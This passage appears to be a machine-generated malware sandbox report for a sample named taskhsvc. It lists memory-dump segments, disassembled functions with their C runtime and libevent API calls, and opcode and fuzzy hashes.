                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abortexitrealloc
                                        • String ID: @
                                        • API String ID: 351688620-2766056989
                                        • Opcode ID: f26a7bf51434c14ec6cd68cc8c25faf9919a30aa47b9fe4a389a87e4a6cfbe6d
                                        • Instruction ID: 7968fa0d32fe2eb8ff9544913518db7df1cb11046bd71025e3022461940e1ee1
                                        • Opcode Fuzzy Hash: f26a7bf51434c14ec6cd68cc8c25faf9919a30aa47b9fe4a389a87e4a6cfbe6d
                                        • Instruction Fuzzy Hash: 3A21E4B4904319AFDB00EFA4D4452AEBBF1FF58398F01C818E5A4AB241D7789945CF6A
                                        Function 00D2107E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D210D1
                                        • malloc.MSVCRT ref: 00D210E9
                                        • exit.MSVCRT ref: 00D2112A
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2113D
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abortexitmalloc
                                        • String ID: @
                                        • API String ID: 797983458-2766056989
                                        • Opcode ID: 830870ffceef85a858574eb71248105bc31ea2afbbe2ebc8dacb1a766ea7df73
                                        • Instruction ID: f9fcd6bba603d228b39394dcaf383d0a16d6179bb55656325fe0cbed1ef14e27
                                        • Opcode Fuzzy Hash: 830870ffceef85a858574eb71248105bc31ea2afbbe2ebc8dacb1a766ea7df73
                                        • Instruction Fuzzy Hash: B5112B7490431A9FDB00AFA5D1552AEBBF1FF50344F01C81CE594AB241D7B89585CFA2
                                        Function 00D213EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D2143E
                                        • _strdup.MSVCRT ref: 00D21449
                                        • exit.MSVCRT ref: 00D2148A
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2149D
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$_strdupabortexit
                                        • String ID: @
                                        • API String ID: 2722030861-2766056989
                                        • Opcode ID: bb3e66b3672d2885ca70b339d36fbfa04616c004429d4f9b6dba4ca39691d07b
                                        • Instruction ID: a58c0c6ac8c1811b680f4bf3a0565775ff0e2f5f47c1583c6a96449e9fee0c22
                                        • Opcode Fuzzy Hash: bb3e66b3672d2885ca70b339d36fbfa04616c004429d4f9b6dba4ca39691d07b
                                        • Instruction Fuzzy Hash: 3F1136B48083199FDB00EFA5E4452AEBBF1EB80398F02C818A594AB241D778D545CFA2
                                        Function 00DEC5D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON
                                        Download Yara Rule
                                        APIs
                                        • evutil_secure_rng_init.LIBEVENT-2-0-5 ref: 00DEC5F5
                                        • evutil_secure_rng_add_bytes.LIBEVENT-2-0-5 ref: 00DEC62F
                                        • evutil_secure_rng_get_bytes.LIBEVENT-2-0-5 ref: 00DEC645
                                        • __stack_chk_fail.LIBSSP-0 ref: 00DEC65B
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failevutil_secure_rng_add_bytesevutil_secure_rng_get_bytesevutil_secure_rng_init
                                        • String ID:
                                        • API String ID: 992357759-3916222277
                                        • Opcode ID: dabdf8d7df730a964fecb7a5f1093b58638bee797c68856033f767e1106a5ba0
                                        • Instruction ID: f48c65383e55403438fe9130fcd9b8de90f3b28893f9ff00357e0b655e189dfd
                                        • Opcode Fuzzy Hash: dabdf8d7df730a964fecb7a5f1093b58638bee797c68856033f767e1106a5ba0
                                        • Instruction Fuzzy Hash: D401817081070C9BCF10EF24C5457DDFBF4EF49304F419998E698A7284E7B49A848FA2
                                        Function 00C4E398 Relevance: 7.7, APIs: 5, Instructions: 178stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • strlen.MSVCRT ref: 00C4E3C6
                                          • Part of subcall function 00D19B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D145AC), ref: 00D19B69
                                          • Part of subcall function 00BC21C4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C7FEAD), ref: 00BC21F7
                                        • abort.MSVCRT ref: 00C4E43A
                                        • free.MSVCRT ref: 00C4E552
                                        • free.MSVCRT ref: 00C4E5CB
                                          • Part of subcall function 00C41D6D: abort.MSVCRT ref: 00C41DC3
                                          • Part of subcall function 00C41D6D: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C4E4A1), ref: 00C41DD6
                                          • Part of subcall function 00D223BF: strlen.MSVCRT ref: 00D223E1
                                          • Part of subcall function 00D223BF: strncmp.MSVCRT ref: 00D223FD
                                          • Part of subcall function 00D223BF: __stack_chk_fail.LIBSSP-0 ref: 00D2240D
                                          • Part of subcall function 00C6CD66: abort.MSVCRT ref: 00C6CE41
